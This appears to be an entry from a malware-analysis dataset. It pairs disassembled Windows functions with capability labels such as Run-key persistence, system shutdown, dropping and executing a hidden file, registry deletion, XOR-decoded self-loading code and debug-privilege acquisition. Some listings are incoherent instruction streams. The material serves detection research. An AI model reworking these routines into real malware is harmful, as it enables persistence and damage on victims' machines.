joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408590
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x108
mov eax, dword [0x417018]
xor eax, esp
mov dword [esp + 0x104], eax
mov ecx, dword [0x433738]
push esi
mov esi, dword [0x417cd0]
push 0x100
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 4]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4085f0
lea eax, [esp + 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test esi, esi
pop esi
je 0x408614
mov edx, dword [esp]
push 0x100
lea ecx, [esp + 8]
push ecx
push 1
push 0
push 0x41441c
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x408623
mov eax, dword [esp]
push 0x41441c
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.0040999a
add esp, 0x108
ret

Function at 0x408650
Capabilities:
Shutdown system

Disassembly:
push esi
push edi
push str.SeShutdownPrivilege
call fcn.00408f50
add esp, 4
test eax, eax
je 0x408698
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
push str.SeShutdownPrivilege
call fcn.00408f50
add esp, 4
test eax, eax
je 0x408698
push 0x64
call esi
push str.SeShutdownPrivilege
call fcn.00408f50
add esp, 4
test eax, eax
je 0x408698
xor eax, eax
pop edi
pop esi
ret
mov eax, dword [esp + 0xc]
add eax, 0xffffffff
cmp eax, 4
mov edi, 1
ja case.default.0x4086ad
jmp dword [eax*4 + 0x4087b0]
push 0
push 0xd
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov eax, edi
pop edi
pop esi
ret
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov eax, edi
pop edi
pop esi
ret
push 0
push 4
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov eax, edi
pop edi
pop esi
ret
xor esi, esi
cmp dword [0x4339fc], esi
mov dword [0x433a24], 3
mov dword [0x417d9c], edi
mov dword [0x417da0], edi
mov dword [0x433a20], esi
mov dword [0x433a40], esi
je 0x408727
mov eax, dword [0x4339f0]
push 4
push eax
mov dword [0x433a00], esi
mov dword [0x4339fc], esi
call dword [sym.imp.USER32.dll_KillTimer]
mov ecx, dword [0x4339f0]
push esi
push 0x3e8
push 6
push ecx
call dword [sym.imp.USER32.dll_SetTimer]
push edi
push esi
call sub.KERNEL32.dll_SetSystemPowerState
mov eax, edi
pop edi
pop esi
ret
xor esi, esi
cmp dword [0x4339fc], esi
mov dword [0x433a24], 3
mov dword [0x417d9c], edi
mov dword [0x417da0], edi
mov dword [0x433a20], esi
mov dword [0x433a40], esi
je 0x40878f
mov edx, dword [0x4339f0]
push 4
push edx
mov dword [0x433a00], esi
mov dword [0x4339fc], esi
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [0x4339f0]
push esi
push 0x3e8
push 6
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push edi
push edi
call sub.KERNEL32.dll_SetSystemPowerState
mov eax, edi
pop edi
pop esi
ret
Function at 0x4087d0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x168
mov eax, dword [0x417018]
xor eax, esp
mov dword [esp + 0x160], eax
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push ebx
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
jmp 0x408810
xor eax, eax
mov cl, byte [esp + eax + 0x34]
mov byte [esp + eax + 0x138], cl
add eax, 1
test cl, cl
jne 0x408812
lea ecx, [esp + 0x138]
push 0x4152a8
push ecx
call fcn.004098db
add esp, 8
test eax, eax
je 0x408864
lea ecx, [ecx]
mov edi, 0x4152ac
mov esi, eax
mov ecx, 4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x408895
push 0x4152a8
push edx
call fcn.004098db
add esp, 8
test eax, eax
jne 0x408840
lea eax, [esp + 0x10]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
je 0x408810
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x160]
xor ecx, esp
call fcn.0040999a
add esp, 0x168
ret
mov ecx, dword [esp + 0x16c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040999a
add esp, 0x168
ret
Function at 0x408bd0
Capabilities:
Create process on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x60
push esi
push 0x40
lea eax, [esp + 0x20]
push 0
push eax
mov dword [esp + 0x24], 0x44
call fcn.0040e170
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push 0x4337b0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x408c30
push 0
lea ecx, [esp + 8]
push ecx
push 0xc000
push 0x425fd0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 6
push 0x4337b0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x4337b0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x408c83
mov ecx, dword [esp + 0xc]
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call esi
call fcn.00408c90
pop esi
add esp, 0x60
ret

Function at 0x408c90
Capabilities:
Delete file
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x164
mov eax, dword [0x417018]
xor eax, esp
mov dword [esp + 0x160], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [esp + 0x14], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push ebx
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
add dword [esp + 0xc], 1
xor eax, eax
lea ebx, [ebx]
mov cl, byte [esp + eax + 0x34]
mov byte [esp + eax + 0x138], cl
add eax, 1
test cl, cl
jne 0x408ce0
mov edi, 0x4152ec
lea esi, [esp + 0x138]
mov ecx, 0xe
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x408d19
lea eax, [esp + 0x10]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
je 0x408cd3
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0x4152ec
lea esi, [esp + 0x138]
mov ecx, 0xe
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x408d80
mov eax, dword [esp + 0x18]
push eax
push edx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x64
mov dword [0x432e0c], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x408d60
push 0x4337b0
call esi
test eax, eax
jne 0x408d60
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x160]
xor ecx, esp
call fcn.0040999a
mov esp, ebp
pop ebp
ret
cmp dword [esp + 0xc], 8
jle 0x408d8c
call fcn.00408bd0
mov ecx, dword [esp + 0x16c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040999a
mov esp, ebp
pop ebp
ret
Function at 0x408fe0
Capabilities:
Delete file

Disassembly:
sub esp, 8
push esi
push str.SeBackupPrivilege
call fcn.00408f50
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
add esp, 4
test eax, eax
jne 0x409034
lea eax, [esp + 8]
push eax
push ebx
push 0x80000002
call esi
test eax, eax
jne 0x409034
mov ecx, dword [esp + 8]
push eax
push 0x415324
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSaveKeyA]
test eax, eax
je 0x409034
cmp dword [0x433a80], 0
jne 0x409034
mov dword [0x433a80], 1
push str.SeRestorePrivilege
call fcn.00408f50
add esp, 4
test eax, eax
jne 0x409090
lea edx, [esp + 8]
push edx
push edi
push 0x80000002
call esi
test eax, eax
je 0x409067
lea eax, [esp + 8]
push eax
push edi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ecx, dword [esp + 8]
push 8
push 0x415324
push ecx
call dword [sym.imp.ADVAPI32.dll_RegRestoreKeyA]
test eax, eax
je 0x409090
cmp dword [0x433a80], 0
jne 0x409090
mov dword [0x433a80], 2
push ebx
push 0x80000002
call fcn.004090c0
add esp, 8
push 0x415324
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x433a80]
pop esi
add esp, 8
ret

Function at 0x4090c0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x210
mov eax, dword [0x417018]
xor eax, esp
mov dword [esp + 0x20c], eax
mov ecx, dword [esp + 0x218]
mov eax, dword [esp + 0x214]
push esi
lea edx, [esp + 4]
push edx
push 0x20019
xor esi, esi
push esi
push ecx
push eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [esp + 4]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [esp + 0x24]
push eax
push esi
push esi
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [esp + 8]
cmp eax, esi
jbe 0x409180
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ecx, dword [esp + 0xc]
push 0
push 0
push 0
push 0
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x2c]
push eax
push esi
push ecx
mov byte [esp + 0x38], 0
mov dword [esp + 0x34], 0x200
call edi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
push edx
push eax
call ebp
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x18]
push ecx
push edx
call fcn.004090c0
add esi, 1
add esp, 8
cmp esi, dword [esp + 0x10]
jb 0x409130
pop edi
pop ebp
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x210]
pop esi
xor ecx, esp
call fcn.0040999a
add esp, 0x210
ret

Function at 0x40999a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417018]
jne 0x4099a4
repz ret
jmp fcn.0040a521
Function at 0x40a98c
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x417028]
je 0x40a9a7
inc edi
cmp edi, 0x17
jb 0x40a998
cmp edi, 0x17
jae 0x40ab27
push ebp
push 3
call fcn.0040d100
cmp eax, 1
pop ecx
je 0x40aaf3
push 3
call fcn.0040d100
test eax, eax
pop ecx
jne 0x40a9db
cmp dword [section..data], 1
je 0x40aaf3
cmp ebx, 0xfc
je 0x40ab26
push 0x413958
mov ebx, 0x314
push ebx
mov ebp, 0x432710
push ebp
call fcn.0040d09b
add esp, 0xc
test eax, eax
je 0x40aa11
push esi
push esi
push esi
push esi
push esi
call fcn.0040c1cd
add esp, 0x14
push 0x104
mov esi, 0x432729
push esi
push 0
mov byte [0x43282d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40aa55
push 0x413940
push 0x2fb
push esi
call fcn.0040d09b
add esp, 0xc
test eax, eax
je 0x40aa55
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0040c1cd
add esp, 0x14
push esi
call fcn.0040d010
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x40aa9a
push esi
call fcn.0040d010
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x432a24
push 0x41393c
sub ecx, eax
push ecx
push eax
call fcn.0040cf52
add esp, 0x14
test eax, eax
je 0x40aa9a
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0040c1cd
add esp, 0x14
jmp 0x40aa9c
xor esi, esi
push 0x413938
push ebx
push ebp
call fcn.0040cee1
add esp, 0xc
test eax, eax
je 0x40aabc
push esi
push esi
push esi
push esi
push esi
call fcn.0040c1cd
add esp, 0x14
push dword [edi*8 + 0x41702c]
push ebx
push ebp
call fcn.0040cee1
add esp, 0xc
test eax, eax
je 0x40aade
push esi
push esi
push esi
push esi
push esi
call fcn.0040c1cd
add esp, 0x14
push 0x12010
push 0x413910
push ebp
call fcn.0040cd24
add esp, 0xc
jmp 0x40ab26
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x40ab26
cmp ebp, 0xffffffff
je 0x40ab26
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x41702c]
push dword [esi]
call fcn.0040d010
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x40cd24
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040a03f
xor ebx, ebx
cmp dword [0x432d04], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x40cdfa
push 0x413a94
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40ceda
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x413a88
push edi
call esi
cmp eax, ebx
je 0x40ceda
push eax
call fcn.00409fd1
mov dword [esp], 0x413a78
push edi
mov dword [0x432d04], eax
call esi
push eax
call fcn.00409fd1
mov dword [esp], 0x413a64
push edi
mov dword [0x432d08], eax
call esi
push eax
call fcn.00409fd1
mov dword [0x432d0c], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040a719
test eax, eax
pop ecx
pop ecx
je 0x40cdc8
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040c1cd
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x40cdfa
push 0x413a48
push edi
call esi
push eax
call fcn.00409fd1
cmp eax, ebx
pop ecx
mov dword [0x432d14], eax
je 0x40cdfa
push 0x413a30
push edi
call esi
push eax
call fcn.00409fd1
pop ecx
mov dword [0x432d10], eax
mov eax, dword [0x432d10]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x40ce7f
cmp dword [0x432d14], ecx
je 0x40ce7f
push eax
call fcn.0040a048
push dword [0x432d14]
mov esi, eax
call fcn.0040a048
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x40ce7f
cmp edi, ebx
je 0x40ce7f
call esi
cmp eax, ebx
je 0x40ce4c
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40ce4c
test byte [ebp - 0x18], 1
jne 0x40ce7f
lea eax, [ebp - 0x10]
push eax
call fcn.0040a750
test eax, eax
pop ecx
je 0x40ce67
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040c1cd
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x40ce76
or dword [ebp + 0x10], 0x200000
jmp 0x40ceba
or dword [ebp + 0x10], 0x40000
jmp 0x40ceba
mov eax, dword [0x432d08]
cmp eax, dword [ebp - 8]
je 0x40ceba
push eax
call fcn.0040a048
cmp eax, ebx
pop ecx
je 0x40ceba
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40ceba
mov eax, dword [0x432d0c]
cmp eax, dword [ebp - 8]
je 0x40ceba
push eax
call fcn.0040a048
cmp eax, ebx
pop ecx
je 0x40ceba
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x432d04]
call fcn.0040a048
cmp eax, ebx
pop ecx
je 0x40ceda
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40cedc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x408379
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x408388
pop dword [ebp - 0x10]
mov eax, 0xdf490901
add eax, 0x20f77a87
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x36b16
push 0
mov eax, 0x46537670
add eax, 0xb9ed6a68
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x3dd4
mov esi, eax
mov edx, 0x413bc4
add edx, dword [ebp - 0x10]
mov ebx, 0x9afaa9fa
add ebx, 0x3df75374
add dword [ebp - 0xc], ebx
mov edi, dword [edx]
xor dword [ebp - 4], 0x1401bc0a
xor edi, ebx
sub dword [ebp - 4], esi
mov dword [esi], edi
xor dword [ebp - 8], edx
add esi, 4
add edx, 0xd7b8537d
add edx, 0x2847ac87
loop 0x4083db
add eax, 0x3dd44402
sub eax, 0x3dd359df
xor ebx, ebx
add ebx, eax
add eax, 0x87f78afe
add eax, 0x78087507
mov ecx, 0x3fe47cff
add ecx, 0xc05b8301
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x405d20
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00405f20
fadd st(0), st(0)
inc ebp
test ebp, edi
add byte [eax], al
std
inc ebx
cmp eax, 0x41aa88
adc al, 0xf
mov esi, gs
add byte [eax], al
add byte [ecx + 0x410384], ah
test eax, eax
jne 0x9d405e2e
mov dword [0x410384], 1
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
test esi, esi
adc dword [ebp - 0x5f], 0xffffffa4
add eax, dword [ecx]
test dword [edx - 0x45afe28b], esp
adc ah, dh
inc eax
or ebp, dword [edx - 0x58]
call 0x415a40
add esp, 0xc
mov dword [0x414558], eax
test eax, eax
je 0xc408338
lea ecx, [ebp - 4]
push ds
push esi
call eax
mov ebx, dword [ecx + 0x1d74f685]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x64]
push edx
and byte [ebx], ah
pop edi
sub al, 0x48
add ch, bl
mov ecx, dword [ebp + 8]
sbb dword [ecx + 0x189568c], 0xffffffff
adc eax, sym.imp.KERNEL32.dll_GlobalFree
push ebx
int3
Function at 0x40b320
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
adc eax, 0x40c0b6
test eax, eax
je 0x40b358
mov ebx, dword [esi]
cld
mov edx, dword [esi - 0x65]
adc ebx, dword [ecx + 0x54]
add edx, eax
adc ecx, 0x70
sub edi, eax
add ebx, eax
xchg ebp, eax
mov byte [0x89ff8536], al
mov al, 0x54
test eax, 0x88c9ec2
pop edi
mov dword [esi + 0x3c], 0xc69
pop ebx
pop esi
mov esp, ebp
aaa
ret 0x7704
mov ebx, esi
cwde
shl bl, 0
jg 0x40b3cd
test eax, eax
jne 0x40b3be
mov edx, edx
or bl, ch
or bh, bh
xlatb
add eax, 0xdc0afc80
mov dword [ebp + 0x23], eax
mov eax, dword [ebp - 4]
mov edx, dword [esi + 0x50]
mov ecx, dword [esi + 0x54]
add edx, eax
dec esi
aam 0x19
xlatb
push esi
push eax
adc ebx, 0
test eax, eax
mov dword [esi + 0x54], ecx
cmpsd dword [esi], dword es:[edi]
pop es
mov dword [esi + 0x3c], 0xd00
mov eax, dword [ebp + 8]
pop edi
push ecx
pop esi
mov esp, ebp
pop ebp
ret 0xb62d
sub byte [edi], cl
Function at 0x4025e1
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.00414c75
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.00414c75
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x14], 0
push 0x10
call fcn.00414c75
add esp, 4
mov dword [ebp - 0x18], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
push 0
mov ebx, 0x416d00
call fcn.00414c87
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
je 0x4026a1
mov eax, 0
jmp 0x40280d
cmp dword [ebp + 0xc], 0
jne 0x4026cd
mov dword [ebp - 0x1c], esp
mov eax, 9
call fcn.00414c81
cmp dword [ebp - 0x1c], esp
je 0x4026ca
push 6
call fcn.00414c7b
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 0
jne 0x4026f5
mov eax, str.SeDebugPrivilege
push eax
mov ebx, dword [ebp + 0x10]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4026ef
push ebx
call fcn.00414c6f
add esp, 4
pop eax
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
mov dword [ebp - 0x1c], esp
lea eax, [ebp - 8]
push eax
push 0x28
push dword [ebp - 4]
mov eax, 0xa
call fcn.00414c81
cmp dword [ebp - 0x1c], esp
je 0x402720
push 6
call fcn.00414c7b
add esp, 4
mov dword [ebp - 0x1c], esp
push dword [ebp - 0xc]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
push 0x4aeb10
mov eax, 0xb
call fcn.00414c81
cmp dword [ebp - 0x1c], esp
je 0x40274c
push 6
call fcn.00414c7b
add esp, 4
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], 2
mov dword [ebp - 0x1c], esp
mov eax, 0
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x18]
push 0x1c
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
mov eax, 0xc
call fcn.00414c81
cmp dword [ebp - 0x1c], esp
je 0x4027e0
push 6
call fcn.00414c7b
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], esp
push dword [ebp - 8]
mov eax, 3
call fcn.00414c81
cmp dword [ebp - 0x1c], esp
je 0x402805
push 6
call fcn.00414c7b
add esp, 4
mov eax, dword [ebp - 0x14]
jmp 0x40280d
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.00414c6f
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.00414c6f
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
call fcn.00414c6f
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41dce0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a656b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0049ade1
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x41dd62
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00498ad0
mov eax, dword [eax]
push 0x4d2220
push eax
call fcn.0048ab94
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0049b06c
test bl, bl
je 0x41dd62
push 0x4d2220
lea ecx, [esp + 0xc]
call fcn.0049b3fc
push 0x4d5d8c
lea ecx, [esp + 0xc]
call fcn.0049b3fc
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41dd9e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0049b06c
jmp 0x41de69
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x41de22
lea edx, [esp + 0x7c]
push 0x4d5d88
push edx
call fcn.0048ab94
add esp, 8
test eax, eax
je 0x41de22
lea eax, [esp + 0x7c]
push 0x4d5d84
push eax
call fcn.0048ab94
add esp, 8
test eax, eax
je 0x41de22
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41ddb2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0049b06c
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4